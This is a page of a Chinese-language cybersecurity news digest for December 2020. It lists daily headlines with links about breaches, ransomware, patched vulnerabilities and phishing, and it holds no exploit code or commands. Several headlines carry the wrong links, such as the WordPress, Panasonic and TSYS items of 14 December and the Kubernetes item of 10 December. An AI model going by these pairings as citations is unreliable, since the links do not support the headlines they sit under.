7、Firefox修补了严重的漏洞,也影响Google Chrome https://threatpost.com/firefox-patches-critical-mystery-bug-also-impacting-google-chrome/162294/ 8、Spotify遭数据泄露后强制用户更改密码 https://threatpost.com/spotify-changes-passwords-data-breach/162256/ 9、越来越多的制造业成为网络攻击目标 https://cyware.com/news/cyber-threats-crawling-across-manufacturing-organizations-3b967aaf 10、钓鱼邮件冒充eFax等企业窃取用户Office 365凭证 https://abnormalsecurity.com/blog/spear-phishing-campaign-targets-enterprises/
网络安全日报 2020年12月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、SolarWinds确认可能有18,000个客户受供应链攻击影响 https://securityaffairs.co/wordpress/112294/hacking/solarwinds-sec-filing.html 2、美多个政府机构和公司因SolarWinds软件供应链攻击而被黑客入侵 https://securityaffairs.co/wordpress/112275/apt/solarwinds-supply-chain-attack.html 3、机器人流程自动化供应商UiPath披露数据泄露 https://securityaffairs.co/wordpress/112267/data-breach/uipath-data-leak.html 4、Apple修复了iOS和iPadOS的代码执行漏洞 https://www.securityweek.com/apple-patches-code-execution-flaws-ios-and-ipados 5、挪威邮轮公司Hurtigruten遭勒索软件攻击 https://www.securityweek.com/norwegian-cruise-company-hurtigruten-hit-cyberattack 6、Sophos和ReversingLabs发布了2000万样本数据集用于恶意软件研究 https://github.com/sophos-ai/SOREL-20M 7、研究人员发现新的Windows 木马窃取浏览器凭据和Outlook文件 https://threatpost.com/windows-trojan-steals-browser-credentials-outlook-files/162223/ 8、研究人员发现Steam漏洞允许远程接管用户计算机 https://www.hackread.com/steam-vulnerabilities-remote-take-over-users-computers/ 9、谷歌周一遭全球大规模宕机,YouTube和Gmail等服务中断 https://techcrunch.com/2020/12/14/gmail-youtube-google-docs-and-other-services-go-down-simultaneously-in-multiple-countries/ 10、专家发现WinZip 24的不安全通信可被黑客利用 https://cybersguards.com/insecure-communication-from-winzip-24-lets-hackers-drop-malware/
网络安全日报 2020年12月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、WordPress SMTP插件中的零日漏洞被修复 https://securityaffairs.co/wordpress/112156/hacking/kerberos-bronze-bit-attack.html 2、攻击者公开了属于松下印度公司的4GB数据 https://www.zdnet.com/article/zero-day-in-wordpress-smtp-plugin-abused-to-reset-admin-account-passwords/ 3、TSYS公司遭到Conti勒索软件攻击数据泄露 https://www.govinfosecurity.com/panasonic-indias-data-released-in-extortion-plot-a-15573 4、Pay2Key勒索软件窃取了英特尔Habana Labs的数据 https://securityaffairs.co/wordpress/112258/data-breach/pay2key-hacked-habana-labs.html 5、英国地铁(Subway UK)销售系统遭黑客入侵 https://securityaffairs.co/wordpress/112248/data-breach/subway-uk-trickbot-phishing.html 6、NI控制器中的漏洞可能允许黑客远程中断生产 https://www.securityweek.com/vulnerability-ni-controller-can-allow-hackers-remotely-disrupt-production 7、研究人员发现Adrozek恶意软件劫持多种主流浏览器 https://thehackernews.com/2020/12/watch-out-adrozek-malware-hijacking.html 8、Microsoft Office安全更新修复了关键的SharePoint RCE漏洞 https://www.bleepingcomputer.com/news/security/microsoft-office-security-updates-fix-critical-sharepoint-rce-bugs/ 9、Mount Locker勒索软件为其他黑客提供双重勒索方案 https://thehackernews.com/2020/12/mount-locker-ransomware-offering-double.html 10、Facebook封禁越南APT组织海莲花相关账户 https://thehackernews.com/2020/12/facebook-tracks-apt32-oceanlotus.html
网络安全日报 2020年12月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、思科修复了Jabber中的严重RCE漏洞 https://securityaffairs.co/wordpress/112163/hacking/cisco-jabber-rce.html 2、Kerberos Bronze Bit攻击PoC已在线发布 https://securityaffairs.co/wordpress/112156/hacking/kerberos-bronze-bit-attack.html 3、njRAT RAT利用Pastebin 作为C2隧道来避免检测 https://securityaffairs.co/wordpress/112147/cyber-crime/njrat-rat-pastebin-c2.html 4、研究人员发现针对PDF文件的新型注入攻击技术 https://www.securityweek.com/new-injection-technique-exposes-data-pdfs 5、勒索软件攻击联网的MySQL数据库 https://www.securityweek.com/ransomware-gang-hits-exposed-mysql-databases 6、Valve修复了Steam游戏客户端中的严重漏洞 https://threatpost.com/critical-steam-flaws-crash-opponents-computers/162100/ 7、MoleRats APT使用Facebook,Dropbox作为C2隧道 https://threatpost.com/molerats-apt-espionage-facebook-dropbox/162162/ 8、攻击者利用”免费Cyberpunk 2077“进行信息收集和安装恶意软件 https://threatpost.com/free-cyberpunk-2077-downloads/161963/ 9、PGMiner:利用PostgreSQL漏洞的挖矿僵尸网络 https://unit42.paloaltonetworks.com/pgminer-postgresql-cryptocurrency-mining-botnet/ 10、星巴克移动平台中发现了远程代码执行漏洞 https://www.zdnet.com/article/remote-code-execution-vulnerability-uncovered-in-starbucks-mobile-platform/
网络安全日报 2020年12月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Android 本月补丁修复 Wi-Fi 组件高危漏洞 https://threatpost.com/google-patches-critical-wi-fi-and-audio-bugs-in-android-handsets/162060/ 2、Google 将对能证明可利用性的 V8 Exploit 提供额外奖金 https://security.googleblog.com/2020/12/announcing-bonus-rewards-for-v8-exploits.html 3、D-Link路由器被发现零日漏洞 https://threatpost.com/d-link-routers-zero-day-flaws/162064/ 4、安全研究人员发现多种TCP / IP栈存在漏洞影响数百万物联网设备 https://threatpost.com/amnesia33-tcp-ip-flaws-iot-devices/161928/ 5、微软发布2020年12月更新修复58个安全漏洞 https://thehackernews.com/2020/12/microsoft-releases-windows-update-dec.html 6、APT28使用COVID-19疫苗钓鱼邮件分发Zebrocy恶意软件 https://thehackernews.com/2020/12/russian-apt28-hackers-using-covid-19-as.html 7、暗网上泄露了印度700万银行持卡人的信息 https://ciso.economictimes.indiatimes.com/news/data-of-70-lakh-indian-cardholders-leaked-on-dark-web/79640281 8、欧洲药品管理局遭到网络攻击 https://securityaffairs.co/wordpress/112125/intelligence/european-medicines-agency-cyberattack.html 9、研究人员发现了一种将信用卡窃取器隐藏在CSS文件中的新技术 https://securityaffairs.co/wordpress/112117/malware/skimmer-inside-css-files.html 10、所有Kubernetes版本均受未修补的MiTM漏洞影响 https://threatpost.com/microsoft-patch-tuesday-holidays/162041/
网络安全日报 2020年12月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、大规模的网络钓鱼活动针对全球2亿多Microsoft 365用户 https://www.darkreading.com/threat-intelligence/phishing-campaign-targets-200m-microsoft-365-accounts/d/d-id/1339637 2、QNAP修复了八个可能导致NAS设备被接管的漏洞 https://securityaffairs.co/wordpress/112041/security/qnap-nas-flaws.html 3、Apache发布Struts 2安全更新修复远程代码执行漏洞 https://www.securityweek.com/possible-code-execution-flaw-apache-struts 4、网络安全公司FireEye遭攻击被盗走一系列红队工具 https://www.securityweek.com/fireeye-says-sophisticated-hacker-stole-red-team-tools 5、研究人员发现Rana Android恶意软件新变种 https://threatpost.com/rana-android-malware-updates-allow-whatsapp-telegram-im-snooping/161971/ 6、黑客强行打开莫斯科各地2732个快递寄存柜 https://www.zdnet.com/article/hacker-opens-2732-pickpoint-package-lockers-across-moscow/ 7、PlayStation Now云游戏Windows应用存在漏洞 https://www.bleepingcomputer.com/news/security/playstation-now-bugs-let-sites-run-malicious-code-on-windows-pcs/ 8、严重漏洞影响100多种GE Healthcare设备 https://www.securityweek.com/over-100-ge-healthcare-devices-affected-critical-vulnerability 9、OpenSSL发布“高危”安全补丁 https://www.securityweek.com/openssl-ships-%E2%80%98high-severity%E2%80%99-security-patch 10、安全专家披露了Microsoft Teams中一个可蠕虫零交互漏洞 https://securityaffairs.co/wordpress/112062/hacking/microsoft-teams-wormable-flaw.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页